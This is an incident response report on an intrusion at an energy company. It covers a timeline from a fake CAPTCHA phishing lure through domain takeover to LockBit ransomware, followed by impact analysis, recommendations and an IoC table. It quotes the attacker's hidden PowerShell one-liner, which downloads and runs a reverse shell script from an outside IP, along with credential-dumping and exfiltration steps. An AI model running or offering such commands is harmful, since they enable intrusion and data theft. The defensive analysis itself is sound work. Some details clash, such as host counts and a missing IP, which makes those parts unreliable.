SOEG Incident Report

Executive Summary

State-Owned Energy Company received alert notification on January 16th, 2025 from internal SIEM system about potential malicious activity. Upon closer inspection it was discovered that malicious actor gained access to employe personal computer by tricking employee into executing malicious payload from fake web page.

After initial compromise of employee PC, attacker was able to escalate privileges by exploiting unpatched vulnerability on PC (CVE-2024-30088), proceeded by scanning rest of the company network, establishing communication with Command and Control (C2) and securing persistence.

During presence on employee PC, attacker exfiltrated several documents with sensitive information and was also able to obtain domain admin credentials which he used to gain access to Domain Controller DC.

After obtaining access to DC, attacker installed remote access tool on DC and secured persistence by deploying C2 malware to rest to the office machines. During his presence on DC, attacker obtained "golden ticket" that ensured unrestricted access to rest of the domain.

Next, attacker compromised email server however was unsuccessful at exfiltrating company emails. After this unsuccessful attempt, attacker deployed encryption malware that affected 23 systems in total and encrypted many company files which resulted in

Incident timeline

- `Jan 16, 2025 @ 17:02:12.573` : One of the employees was tricked via fake CAPTCHA web page `free-web-captcha.site` into executing malicious PowerShell script on `officewin9` that established initial foothold on the system.
    - Malicious PowerShell script: `"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -Command "iex (iwr 'http://78.141.223.161/revshell.txt' -UseBasicParsing).Content"` .
- `Jan 16, 2025 @ 17:02:14:042` : attacker established reverse shell to `175.45.176.81` on port `8080` .
- `Jan 16, 2025 @ 17:02:48.437` : attacker started discovery, using commands like `whoami` , `ipconfig` , `hostname` , `net` .
- `Jan 16, 2025 @ 17:07:19.945` : C2 Havoc framework dropped.
    - C2 malware: `c:\windows\system32\microsoft\crypto\rsa\machinekeys\UpdaterCore.exe` .
    - IP of C2 : `87.250.250.42` .
- `Jan 16, 2025 @ 17:08:38.875` : Persistence established on `officewin9` by creating registry key:
    - key: `HKU\S-1-5-21-2918068850-3100921079-2521427286-1308\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpadate` .
    - value: `c:\windows\system32\microsoft\crypto\rsa\machinekeys\UpdaterCore.exe` .
- `Jan 16, 2025 @ 17:09:16.928` : Attempted privilege escalation via `winPEAS.ps1` .
- `Jan 16, 2025 @ 17:54:15.266` : Attacker downloaded `UpdateCheck.exe` file that exploited `CVE-2024-30088` vulnerability on `officewin9` .
- `Jan 16, 2025 @ 17:58:18.897` : Attacker performed memory dump on `officewin9` where he probably obtained NTLM hash of `itadmin` user credentials.
    - Memory dump file: `C:\Users\Public\UpdatepdCrash.dmp` .
- `Jan 16, 2025 @ 17:58:48.827` : Attacker obtained Edge browser credentials via `"C:\Users\Public\CredentialKatz.exe" /edge` .
- `Jan 16, 2025 @ 18:04:00.868` : Attacker exfiltrates `UpdatepdCrash.dmp` via `rclone` to IP `2.176.0.9` located in `Iran` .
- `Jan 16, 2025 @ 18:24:07.243` : Attacker exfiltrates documents with sensitive information. List of documents exfiltrated is in Impact Analysis.
- `Jan 16, 2025 @ 18:40:52.532` : Attacker establishes another revers tunnel via `agent.exe` on `officewin9` to IP `` in Russia.
- `Jan 16, 2025 @ 18:45:09.000` : Attacker performs internal network scan using `nmap` via remote tunnel. At this point attacker identifies Domain Controller and performs full scan of DC.
- `Jan 16, 2025 @ 19:00:22.270` : Attacker logs in to DC `adc1ofc` from `officewin9` as user `itadmin` using `agent.exe` via LDAP connection to DC over port 389. Attacker used credentials obtained from stolen NTLM hash.
- `Jan 16, 2025 @ 19:01:36.034` : Attacker deploys C2 Havoc framework on DC `adc1ofc` .
- `Jan 16, 2025 @ 19:02:01.998` : Attacker created new domain admin account `test` to increase their presence in domain.
- `Jan 16, 2025 @ 19:03:22.290` : Attacker performs remote AD credential dumping using `test` over `\\*\ADMIN$` share.
- `Jan 16, 2025 @ 19:15:40.321` : Attacker installed remote access software `AnyDesk` on `adc1ofc` .
- `Jan 16, 2025 @ 19:24:30.929` : Attacker using `test` account created GPO policy named `Policy` that contained scheduled task `CoolWindowsUpdate` that will start when regular user logs in and will download and execute `UpdaterCore.exe` C2 malware.
- `Jan 16, 2025 @ 20:35:04.576` : Executed `mimikatz.exe` on `adc1ofc` .
- `Jan 16, 2025 @ 20:47:08.243` : Obtained TGT `C:\Users\test\Desktop\mimikatz-master\mimikatz-master\x64\golden.kirbi` .
- `Jan 16, 2025 @ 21:04:57.028` : Installed AnyDesk on `adc2ofc` .
- `Jan 16, 2025 @ 21:13:36.227` : Attacker logged-in to `msexch16` using `Administrator` account using `skeleton key attack` technique.
- `Jan 16, 2025 @ 21:19:43.654` : Attacker tried to access Exchange management console but failed due to locked file.

- `Jan 16, 2025 @ 21:37:32.233` : Attacker tried to stop the MS Exchange server services but was unsuccessful.
- `Jan 16, 2025 @ 21:55:23.195` :
    - attacker started deploying Lockbit malware.
    - `file.path` : `c:\windows\syswow64\com\dmp\enjoyfreeworkday.ps1` .
    - ransomware was executed on 19 computers and total of 331 ransomware notes were created.

Impact Analysis

Credentials compromised

- Memory dump from `officewin9` was exfiltrated to IP `2.176.0.9` located in `Iran` .
- Memory dump probably contains NTLM hash of domain admin account `itadmin` which is believed to be weak allowing attacker to decrypt the hash easily.
- Domain admin user `test` created by attacker.
- Since attacker performed credential dump from whole Windows Domain, all credentials are considered compromised.

Sensitive documents exfiltrated

- Documents exfiltrated:
    - `Approval and Funding of a Research Project.docx`
    - `Approval of Cyber Policy for Academic Institutions.docx`
    - `Approval of the 'Green Energy 2025' Project.docx`
    - `blueprint of a topsecret project.png`
    - `Cyber Insurance Agreement.docx`
    - `New proposal for Cyber strategy.docx`
    - `Internal - contracts-Table.xlsx`
    - `project financing.pdf`
    - `Provision of Grant for the AI Next-Gen Project.docx`
    - `Secret-ListOfLetters.xlsx`

Hosts impacted

- List of hosts compromised:
    - adc1ofc
    - adc2ofc
    - msexch16
    - rds1
    - rds2
    - officewin1
    - officewin2
    - officewin3
    - officewin4
    - officewin5
    - officewin6
    - officewin7
    - officewin8
    - officewin9
    - officewin10
    - officewin12
    - officewin13
    - officewin14
    - officewin15
    - officewin16
    - officewin17
    - officewin18
    - officewin20
- List of hosts impacted by ransomware:
    - adc1ofc
    - adc2ofc
    - officewin1
    - officewin2
    - officewin3
    - officewin4
    - officewin6
    - officewin7
    - officewin8
    - officewin9
    - officewin10
    - officewin12
    - officewin13
    - officewin14
    - officewin15
    - officewin16
    - officewin17
    - officewin18
    - officewin20

Lessons learned

- **Gap Analysis**: The incident shed light on certain gaps, primarily around user training about potential phishing attempts with malicious documents, patching and vulnerability management, multi-factor authentication, network segregation, etc.
- **Recommendations for Improvement**:
  - Security awareness training: Regularly train employees on phishing threats, social engineering tactics, and how to recognize suspicious links (e.g., fake CAPTCHA).
  - Email & web filtering: Block access to malicious domains using web filtering solutions.
  - Multi-factor authentication (MFA): Enforce MFA for privileged accounts to prevent credential-based attacks.
  - Apply security patches and system hardening: Ensure timely patching of critical vulnerabilities and disable unused or insecure services.
  - Vulnerability Scanning: Regularly scan for outdated or vulnerable software, especially on internet-facing systems.
  - Implement endpoint security & hardening, network segmentation, deploy honeypot techniques to detect early-stage reconnaissance, etc.

Indicators of Compromise (IoCs)

IOC type	IOC value	Comments
IP	175.45.176.81	Reverse shell was established over port 8080
IP	78.141.223.161	location from which reverse shell was downloaded
Web	free-web-captcha.site	location of fake CAPTCHA Web page
Malware	UpdaterCore.exe	C2 Havoc framework
IP	87.250.250.42	C2 IP
SHA256	23da17a3484f8b5e9c4d8f20c56a4e87e41f10ab84ce68528ece4494c17c87d0	SHA256 of the C2 C2 Havoc framework
File	winPEAS.ps1	Windows privilege escalation script
File	UpdateCheck.exe	trojan.zusy/cve202430088
SHA1	f0026c3167572ef3ff281ea75184d7635f66189f	SHA1 of UpdateCheck.exe
CVE	CVE-2024-30088	https://nvd.nist.gov/vuln/detail/cve-2024-30088
IP	2.176.0.9	Location where sensitive documents were exfiltrated, Iran
IP	87.250.250.131	Reverse tunnel, Russia
User	test	domain admin account created by the attacker
Malware	AnyDesk.exe	Remote Access software
Registry	CoolWindowsUpdate	Registry key created to establish persistence
Registry	WinUpadate	Registry key created to establish persistence
Malware	mimikatz.exe	https://github.com/ParrotSec/mimikatz
Malware	enjoyfreeworkday.ps1	Lockbit ransomware